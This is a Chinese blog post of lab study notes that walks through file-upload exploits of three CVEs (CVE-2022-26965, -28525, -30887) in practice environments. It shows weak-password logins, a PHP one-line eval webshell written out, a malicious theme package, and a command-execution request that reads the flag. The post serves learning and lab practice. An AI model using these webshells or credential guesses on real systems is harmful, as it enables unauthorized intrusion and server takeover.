文件上传思路学习

admin 2024年6月15日11:32:16评论7 views字数 1076阅读3分35秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!

前言

前些日子学了点文件上传,去春秋云镜文件上传专栏玩玩。

CVE-2022-26965

文件上传思路学习

使用弱口令登录admin账户
文件上传思路学习
文件上传思路学习
到处点一下,发现安装主题目录下有上传点,直接打包一句话木马上传没运行成功
GitHub上源码下载看看
文件上传思路学习
file目录下有个htacess文件,把php设置了不可解析,所以一句话木马运行不成功
想到登录了admin,先去admin.php看看
文件上传思路学习
追踪到主题部分,包含了theme.php
再追踪theme.php
文件上传思路学习
发现调用了get_themes函数
搜索了一下,在functions.all.php
文件上传思路学习
又包含了info.php
文件上传思路学习
所以就是要在info.php里插入木马造成任意代码执行
文件上传思路学习
下载安装包,将info.php的内容修改为一句话木马
文件上传思路学习
base64的内容是

文件上传思路学习

利用file_content在根目录下生成test.php文件来插入木马

修改后将文件压缩

文件上传思路学习
将压缩包上传
文件上传思路学习
在根目录上输入/test.php?1=cat%20/flag

文件上传思路学习

CVE-2022-28525

文件上传思路学习
打开靶场后可以发现一个登录入口,尝试弱口令admin/admin
文件上传思路学习
成功登录
在增加用户界面可以找到上传入口
文件上传思路学习
上传无过滤,可直接上传php文件,构造一句话木马
<?php @eval($_POST['cmd'])?>
可以看到上传成功
文件上传思路学习
右键复制图片地址可以看到图片上传路径
文件上传思路学习
访问刚才上传的php木马来激活木马
文件上传思路学习
使用中国蚁剑连接数据库
文件上传思路学习
在根目录下找到flag
文件上传思路学习

文件上传思路学习

CVE-2022-30887

文件上传思路学习

打开靶场

文件上传思路学习

需要登录,没有注册入口,忘记密码入口也不能用

网站底部有个作者项目入口

文件上传思路学习

进入之后,翻找一些页面

文件上传思路学习

弹出来一个作者的邮箱,尝试利用去登录,密码试试弱口令

最后试出来是作者的名字mayurik

文件上传思路学习

在此页面可以看到有上传文件操作

构造一句话木马

<?php @eval($_POST['cmd'])?>

进行上传

文件上传思路学习

可以看到已经上传了

将图片链接复制下来

使用中国蚁剑进行连接

文件上传思路学习

在根目录下可以找到flag

文件上传思路学习

文件上传思路学习

总结

感觉学会代码审计还是挺重要的,要肯花费时间去研究漏洞到底是如何造成。根据当漏洞点一步一步地去推测,审计漏洞代码比单纯的复现能学到东西更多。

关注我们

公众号回复2024Hw应急工具”获取Hw应急工具集
公众号回复简历模版”获取Hw简历模版
公众号回复“2024面经大全获取全套面经以及回答思路

原文始发于微信公众号(极星信安):文件上传思路学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月15日11:32:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件上传思路学习https://cn-sec.com/archives/2852010.html

发表评论

匿名网友 填写信息